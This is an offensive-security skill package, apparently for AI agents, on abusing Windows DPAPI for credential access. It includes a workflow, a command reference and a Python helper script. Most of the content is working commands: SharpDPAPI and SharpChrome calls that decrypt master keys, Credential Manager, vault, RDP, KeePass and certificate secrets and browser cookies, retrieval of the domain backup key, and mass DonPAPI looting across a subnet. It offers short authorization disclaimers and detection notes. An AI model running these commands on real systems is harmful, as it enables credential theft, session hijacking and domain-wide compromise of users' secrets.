npx skills add mukul975/Anthropic-Cybersecurity-SkillsLegal Notice: This skill is for authorized penetration testing, red-team engagements, and educational purposes only. Extracting credentials from systems you do not own or lack explicit written authorization to test is illegal and may violate computer fraud and abuse laws. Always operate within a signed rules-of-engagement and document every action.
Overview
The Windows Data Protection API (DPAPI) is the operating system's built-in symmetric-encryption service that applications use to protect secrets at rest: saved RDP and Windows Credential Manager credentials, web and Wi-Fi credentials in the Credential Vault, browser saved logins and cookies (Chrome/Edge), KeePass keys, certificate private keys, and Scheduled Task passwords. DPAPI derives a per-user (or per-machine) master key from the user's password (or the machine account secret), and that master key encrypts individual "DPAPI blobs." The encrypted master keys live under %APPDATA%\Microsoft\Protect\<SID>\ (user) and %WINDIR%\System32\Microsoft\Protect\ (machine).
Red teamers abuse DPAPI to recover plaintext secrets after gaining a foothold, mapping to MITRE ATT&CK T1555.004 (Credentials from Password Stores: Windows Credential Manager). There are three primary decryption paths:
- Online / context-based — running as the target user, DPAPI APIs (
CryptUnprotectData) transparently decrypt the user's blobs. SharpDPAPI's/unprotectflag uses this. - Offline with the user password or NTLM hash — decrypt the user's master keys with
/password:or/ntlm:, then decrypt the blobs offline (great for triaged files pulled from a host). - Domain-wide with the DPAPI backup key — Domain Admins can extract the domain's RSA DPAPI backup key (
.pvk) once, then decrypt any domain user's master keys forever, online or offline, with/pvk:.
The canonical tooling is SharpDPAPI (GhostPack, a C# port of Mimikatz DPAPI functionality) for Windows, SharpChrome for browser secrets, and Mimikatz (dpapi::*) as the original implementation. On Linux, Impacket's dpapi.py and donpapi perform remote/offline triage.
When to Use
- After compromising a Windows host where the user has saved RDP, browser, or vault credentials worth harvesting for lateral movement.
- When you hold a user's password or NTLM hash and want to decrypt their DPAPI-protected secrets offline.
- When you have Domain Admin and want to obtain the domain DPAPI backup key to decrypt any user's protected data across the estate.
- When triaging exfiltrated
Credentials,Vault, orProtectdirectories from disk images. - During purple-team exercises to validate detection of DPAPI master-key access and LSASS/Protect-folder reads.
Prerequisites
- An authorized foothold (interactive session, beacon, or remote admin) on the target Windows host.
- Knowledge of the target user's SID, and one of: the user's session, password, NTLM hash, or Domain Admin rights for the backup key.
- Tooling (compile from source or use release binaries; obtain only from official upstreams):
# SharpDPAPI / SharpChrome (GhostPack) — build with Visual Studio / msbuild
git clone https://github.com/GhostPack/SharpDPAPI.git
# Open SharpDPAPI.sln and build Release, or:
msbuild SharpDPAPI.sln /p:Configuration=Release
# Mimikatz (original DPAPI implementation)
# https://github.com/gentilkiwi/mimikatz/releases
# Linux remote/offline triage (Impacket)
pipx install impacket # provides dpapi.py / impacket-dpapi
pipx install donpapi # https://github.com/login-securite/DonPAPIObjectives
- Triage a host for DPAPI-protected credential, vault, RDP, and certificate blobs.
- Decrypt user master keys online (
/unprotect), with a password/hash, or with the domain backup key. - Recover plaintext Credential Manager and Vault secrets.
- Extract browser saved logins and cookies with SharpChrome.
- Obtain and reuse the domain DPAPI backup key for estate-wide decryption.
MITRE ATT&CK Mapping
| Technique ID | Name | Tactic | Relevance |
|---|---|---|---|
| T1555.004 | Credentials from Password Stores: Windows Credential Manager | Credential Access | DPAPI protects Credential Manager / Vault entries; decrypting master keys and blobs recovers these stored credentials. |
| T1555.003 | Credentials from Password Stores: Credentials from Web Browsers | Credential Access | SharpChrome decrypts DPAPI-protected Chrome/Edge logins, cookies, and state keys. |
| T1003 | OS Credential Dumping | Credential Access | Extracting master keys / backup keys is a form of credential material dumping. |
Workflow
1. Triage the host for DPAPI blobs
Run the SharpDPAPI triage command in the user's context to automatically enumerate and (where possible) decrypt credentials, vaults, RDG/RDP, and certificates:
# Online triage in the current user's context (uses CryptUnprotectData)
SharpDPAPI.exe triage /unprotect
# Machine triage (requires local admin / SYSTEM) for machine-scoped blobs
SharpDPAPI.exe machinetriage2. Decrypt user master keys offline (password or NTLM hash)
If you hold the user's password or hash, decrypt their master keys to a {GUID}:SHA1 mapping you can reuse against individual blobs:
# Decrypt all of the current/specified user's master keys with the password
SharpDPAPI.exe masterkeys /password:CorrectHorseBatteryStaple
# Decrypt master keys with the user's NTLM hash instead of the password
SharpDPAPI.exe masterkeys /ntlm:cc36cf7a8514893efccd332446158b1a
# Output is GUID:SHA1 lines — feed them to credentials/vaults commands3. Recover Credential Manager and Vault secrets
Use the decrypted master-key mapping (or /pvk:) to decrypt the stored credentials and vault entries:
# Decrypt Credential Manager blobs with a GUID:SHA1 mapping
SharpDPAPI.exe credentials {GUID1}:SHA1 {GUID2}:SHA1
# Or point at a target Credentials folder and decrypt with the domain backup key
SharpDPAPI.exe credentials /target:C:\Users\bob\AppData\Local\Microsoft\Credentials\ /pvk:backupkey.pvk
# Decrypt Credential Vault entries
SharpDPAPI.exe vaults /pvk:backupkey.pvk4. Decrypt RDP, KeePass, and certificate secrets
# Saved RDCMan.settings RDP passwords (current user context)
SharpDPAPI.exe rdg /unprotect
# KeePass DPAPI-protected master keys
SharpDPAPI.exe keepass /unprotect
# Certificate private keys (export usable .pem with /showall for all stores)
SharpDPAPI.exe certificates /unprotect /showall5. Extract browser credentials with SharpChrome
SharpChrome decrypts Chrome/Edge logins and cookies. Modern Chromium uses an App-Bound "state key" that SharpChrome resolves via DPAPI:
# Decrypt saved logins for the current user
SharpChrome.exe logins /unprotect
# Decrypt cookies (useful for session hijacking) in a target folder
SharpChrome.exe cookies /target:"C:\Users\bob\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies" /pvk:backupkey.pvk
# Resolve the AES state key explicitly
SharpChrome.exe statekeys /unprotect6. Obtain the domain DPAPI backup key (Domain Admin)
With Domain Admin, retrieve the domain's RSA DPAPI backup private key once. This key decrypts every domain user's master keys indefinitely:
# Pull and save the domain backup key as a .pvk via the MS-BKRP RPC interface
SharpDPAPI.exe backupkey /server:dc01.corp.local /file:backupkey.pvkThen decrypt any user's master keys offline with it:
SharpDPAPI.exe masterkeys /pvk:backupkey.pvk /target:C:\Users\alice\AppData\Roaming\Microsoft\Protect\7. Remote / Linux-based triage (Impacket / DonPAPI)
From a Linux operator box, harvest and decrypt DPAPI secrets across hosts:
# Decrypt a single masterkey file with Impacket using the domain backup key
impacket-dpapi masterkey -file <masterkey_file> -pvk backupkey.pvk
# Decrypt a credential blob with the recovered masterkey
impacket-dpapi credential -file <cred_blob> -key 0x<decrypted_masterkey>
# Mass remote DPAPI looting across hosts with DonPAPI
donpapi collect -u alice -p 'Password123!' -d corp.local --target 10.0.0.0/24Tools and Resources
| Tool | Purpose | Link |
|---|---|---|
| SharpDPAPI | Windows DPAPI triage/decryption (C#) | https://github.com/GhostPack/SharpDPAPI |
| SharpChrome | Chromium logins/cookies/state-key decryption | https://github.com/GhostPack/SharpDPAPI |
| Mimikatz | Original DPAPI (dpapi::*) implementation |
https://github.com/gentilkiwi/mimikatz |
| Impacket dpapi.py | Remote/offline DPAPI decryption (Python) | https://github.com/fortra/impacket |
| DonPAPI | Mass remote DPAPI looting | https://github.com/login-securite/DonPAPI |
| HackTricks DPAPI | Technique reference | https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.html |
Detection and OPSEC Notes
- Master-key access and reads of
\Microsoft\Protect\and\Microsoft\Credentials\are detectable;backupkeytriggers an MS-BKRP RPC call to the DC. - The
/unprotect(online) path is the stealthiest single-host option but only works as the live user. - Defenders should monitor for Sysmon process access to LSASS and abnormal access to Protect/Credentials folders (DE.CM-01).
Validation Criteria
- Host triaged with
SharpDPAPI triage/machinetriage. - User master keys decrypted via
/unprotect,/password:,/ntlm:, or/pvk:. - Credential Manager and Vault secrets recovered.
- RDP / KeePass / certificate secrets extracted where present.
- Browser logins/cookies decrypted with SharpChrome.
- Domain DPAPI backup key retrieved with Domain Admin (if in scope) and reused offline.
- All recovered secrets documented with source host/user and ROE adherence confirmed.
References and resources
Everything below is rendered for inspection. Script files are read-only and never run.
References 2
api-reference.md3.3 KB
SharpDPAPI / DPAPI — Command Reference
SharpDPAPI User Commands
| Command | Purpose | Example |
|---|---|---|
triage |
Auto-run credentials, vaults, rdg, certificates | SharpDPAPI.exe triage /unprotect |
masterkeys |
Decrypt user master keys (GUID:SHA1 output) | SharpDPAPI.exe masterkeys /password:Pass |
credentials |
Decrypt Credential Manager blobs | SharpDPAPI.exe credentials /pvk:key.pvk |
vaults |
Decrypt Credential Vault entries | SharpDPAPI.exe vaults /pvk:key.pvk |
rdg |
Decrypt RDCMan.settings RDP passwords | SharpDPAPI.exe rdg /unprotect |
keepass |
Decrypt KeePass DPAPI keys | SharpDPAPI.exe keepass /unprotect |
certificates |
Decrypt certificate private keys | SharpDPAPI.exe certificates /unprotect /showall |
SharpDPAPI Machine Commands (require admin/SYSTEM)
| Command | Purpose |
|---|---|
machinemasterkeys |
Decrypt machine master keys (uses DPAPI_SYSTEM LSA secret) |
machinecredentials |
Decrypt machine credential blobs |
machinevaults |
Decrypt machine vault entries |
machinetriage |
Run all machine-scoped triage commands |
SharpDPAPI Supporting Commands
| Command | Purpose | Example |
|---|---|---|
backupkey |
Retrieve domain DPAPI backup key (.pvk) via MS-BKRP | SharpDPAPI.exe backupkey /server:dc01 /file:key.pvk |
Common Flags
| Flag | Meaning |
|---|---|
/unprotect |
Use live CryptUnprotectData in current user context (online) |
/password:<pw> |
Decrypt master keys with the user's plaintext password |
/ntlm:<hash> |
Decrypt master keys with the user's NTLM hash |
/pvk:<file> |
Use domain backup private key for decryption |
/mkfile:<file> |
Provide a specific master key file |
/server:<dc> |
Target DC for backupkey retrieval |
/target:<path> |
Target file/folder to decrypt |
/rpc |
Use RPC to request master key decryption from a DC |
/showall |
Show all certificate stores / verbose output |
SharpChrome Commands
| Command | Purpose | Example |
|---|---|---|
logins |
Decrypt saved browser logins | SharpChrome.exe logins /unprotect |
cookies |
Decrypt browser cookies | SharpChrome.exe cookies /pvk:key.pvk |
statekeys |
Decrypt the AES app-bound state key | SharpChrome.exe statekeys /unprotect |
Impacket dpapi.py (Linux)
| Subcommand | Purpose | Example |
|---|---|---|
masterkey |
Decrypt a master key file | impacket-dpapi masterkey -file MK -pvk key.pvk |
credential |
Decrypt a credential blob | impacket-dpapi credential -file CRED -key 0x<mk> |
vault |
Decrypt vault policy/creds | impacket-dpapi vault -vpol VPOL -vcrd VCRD -key 0x<mk> |
backupkeys |
Retrieve domain backup keys | impacket-dpapi backupkeys -t corp.local/admin@dc -pvk out.pvk |
Key File Locations
| Path | Contents |
|---|---|
%APPDATA%\Microsoft\Protect\<SID>\ |
User master keys |
%WINDIR%\System32\Microsoft\Protect\ |
Machine master keys |
%LOCALAPPDATA%\Microsoft\Credentials\ |
Credential Manager blobs |
%APPDATA%\Microsoft\Vault\ / %LOCALAPPDATA%\Microsoft\Vault\ |
Credential Vault |
External References
- SharpDPAPI README: https://github.com/GhostPack/SharpDPAPI
- Impacket: https://github.com/fortra/impacket
standards.md1.8 KB
Standards and References — Abusing DPAPI for Credential Access
NIST CSF 2.0
| ID | Name | Rationale |
|---|---|---|
| DE.CM-01 | Networks and network services are monitored to find potentially adverse events | DPAPI abuse generates detectable signals (MS-BKRP backup-key RPC to the DC, Protect/Credentials folder access, LSASS access) that monitoring must surface. |
MITRE ATT&CK
| Technique ID | Name | Tactic | Rationale |
|---|---|---|---|
| T1555.004 | Credentials from Password Stores: Windows Credential Manager | Credential Access | DPAPI protects Credential Manager/Vault entries; decrypting them recovers stored credentials. |
| T1555.003 | Credentials from Password Stores: Credentials from Web Browsers | Credential Access | SharpChrome decrypts DPAPI-protected browser logins/cookies. |
| T1003 | OS Credential Dumping | Credential Access | Extracting master keys and the domain backup key dumps credential material. |
Supporting Frameworks and Standards
- MS-BKRP — BackupKey Remote Protocol; the RPC interface used to retrieve the domain DPAPI backup key.
- MS-DPSP / DPAPI — Microsoft's Data Protection API specification governing master keys and blob protection.
- D3FEND — Credential Eviction / Password Rotation as mitigations after DPAPI compromise.
Official Resources
- SharpDPAPI / SharpChrome: https://github.com/GhostPack/SharpDPAPI
- Mimikatz: https://github.com/gentilkiwi/mimikatz
- Impacket: https://github.com/fortra/impacket
- DonPAPI: https://github.com/login-securite/DonPAPI
- HackTricks DPAPI: https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.html
- SpecterOps "Operational Guidance for Offensive User DPAPI Abuse": https://posts.specterops.io/operational-guidance-for-offensive-user-dpapi-abuse-1fb7fac8b107
Scripts 1
agent.py6.1 KB
#!/usr/bin/env python3
# For authorized penetration testing and educational environments only.
# Usage against targets without prior mutual written consent is illegal.
# It is the end user's responsibility to obey all applicable laws.
"""DPAPI triage orchestrator.
Locates DPAPI artifacts (master keys, Credential Manager blobs, Vault entries)
on a mounted/exfiltrated user profile and drives SharpDPAPI (on Windows) or
Impacket's dpapi.py (cross-platform) to decrypt them with a supplied password,
NTLM hash, or domain backup key (.pvk).
This is an operator helper: it builds and runs the real tool commands and
parses their output; it does not reimplement DPAPI cryptography.
"""
import argparse
import os
import shutil
import subprocess
import sys
from datetime import datetime, timezone
# Standard relative locations inside a Windows user profile.
PROTECT_REL = os.path.join("AppData", "Roaming", "Microsoft", "Protect")
CRED_REL = os.path.join("AppData", "Local", "Microsoft", "Credentials")
VAULT_LOCAL_REL = os.path.join("AppData", "Local", "Microsoft", "Vault")
VAULT_ROAM_REL = os.path.join("AppData", "Roaming", "Microsoft", "Vault")
def find_tool(candidates):
"""Return the first available tool path from candidates, else None."""
for name in candidates:
path = shutil.which(name)
if path:
return path
return None
def enumerate_artifacts(profile):
"""Walk a user profile and collect DPAPI artifact file paths."""
found = {"masterkeys": [], "credentials": [], "vaults": []}
mapping = {
"masterkeys": os.path.join(profile, PROTECT_REL),
"credentials": os.path.join(profile, CRED_REL),
"vaults": os.path.join(profile, VAULT_LOCAL_REL),
}
for key, base in mapping.items():
if not os.path.isdir(base):
continue
for root, _dirs, files in os.walk(base):
for fname in files:
# Master keys are GUID-named; skip preferred/BK marker files noise.
found[key].append(os.path.join(root, fname))
# Also include roaming vault if present.
vroam = os.path.join(profile, VAULT_ROAM_REL)
if os.path.isdir(vroam):
for root, _dirs, files in os.walk(vroam):
for fname in files:
found["vaults"].append(os.path.join(root, fname))
return found
def run_cmd(cmd, timeout):
"""Run an external command and return (rc, stdout, stderr)."""
try:
proc = subprocess.run(cmd, capture_output=True, text=True, timeout=timeout)
return proc.returncode, proc.stdout, proc.stderr
except FileNotFoundError:
return 127, "", f"tool not found: {cmd[0]}"
except subprocess.TimeoutExpired:
return 124, "", f"timeout after {timeout}s"
def decrypt_masterkey_impacket(tool, mk_file, pvk, timeout):
"""Decrypt one master key file via impacket-dpapi using a backup .pvk."""
cmd = [tool, "masterkey", "-file", mk_file, "-pvk", pvk]
rc, out, err = run_cmd(cmd, timeout)
return {"file": mk_file, "rc": rc, "output": (out or err).strip()[:2000]}
def sharpdpapi_triage(tool, profile, pvk, password, ntlm, timeout):
"""Build and run a SharpDPAPI triage command appropriate to the inputs."""
cmd = [tool, "triage"]
if pvk:
cmd += [f"/pvk:{pvk}"]
elif password:
cmd += [f"/password:{password}"]
elif ntlm:
cmd += [f"/ntlm:{ntlm}"]
else:
cmd += ["/unprotect"]
rc, out, err = run_cmd(cmd, timeout)
return {"rc": rc, "output": (out or err).strip()}
def main():
parser = argparse.ArgumentParser(description="Authorized DPAPI triage helper")
parser.add_argument("--profile", help="Path to a (mounted) Windows user profile")
parser.add_argument("--pvk", help="Domain DPAPI backup key (.pvk)")
parser.add_argument("--password", help="User plaintext password")
parser.add_argument("--ntlm", help="User NTLM hash")
parser.add_argument("--mode", choices=["enumerate", "impacket", "sharpdpapi"],
default="enumerate",
help="enumerate artifacts, or drive a decryption tool")
parser.add_argument("--timeout", type=int, default=120, help="Per-command timeout")
args = parser.parse_args()
ts = datetime.now(timezone.utc).isoformat()
print(f"[*] DPAPI triage helper — {ts}")
print("[!] Authorized use only. Confirm rules-of-engagement before proceeding.\n")
if args.mode in ("enumerate", "impacket"):
if not args.profile or not os.path.isdir(args.profile):
print("[!] --profile must point to an existing user profile directory",
file=sys.stderr)
sys.exit(2)
artifacts = enumerate_artifacts(args.profile)
for kind, items in artifacts.items():
print(f"--- {kind.upper()} ({len(items)}) ---")
for p in items:
print(f" {p}")
if args.mode == "impacket":
if not args.pvk:
print("\n[!] --pvk required for impacket master key decryption",
file=sys.stderr)
sys.exit(2)
tool = find_tool(["impacket-dpapi", "dpapi.py"])
if not tool:
print("[!] impacket-dpapi not found. Install: pipx install impacket",
file=sys.stderr)
sys.exit(2)
print("\n=== Decrypting master keys with backup key ===")
for mk in artifacts["masterkeys"]:
res = decrypt_masterkey_impacket(tool, mk, args.pvk, args.timeout)
print(f" [{res['rc']}] {res['file']}")
if res["output"]:
print(f" {res['output'][:300]}")
return
# sharpdpapi mode (Windows operator host)
tool = find_tool(["SharpDPAPI.exe", "SharpDPAPI"])
if not tool:
print("[!] SharpDPAPI not found on PATH. Build from "
"https://github.com/GhostPack/SharpDPAPI", file=sys.stderr)
sys.exit(2)
result = sharpdpapi_triage(tool, args.profile, args.pvk, args.password,
args.ntlm, args.timeout)
print("=== SharpDPAPI triage ===")
print(result["output"])
sys.exit(0 if result["rc"] == 0 else 1)
if __name__ == "__main__":
main()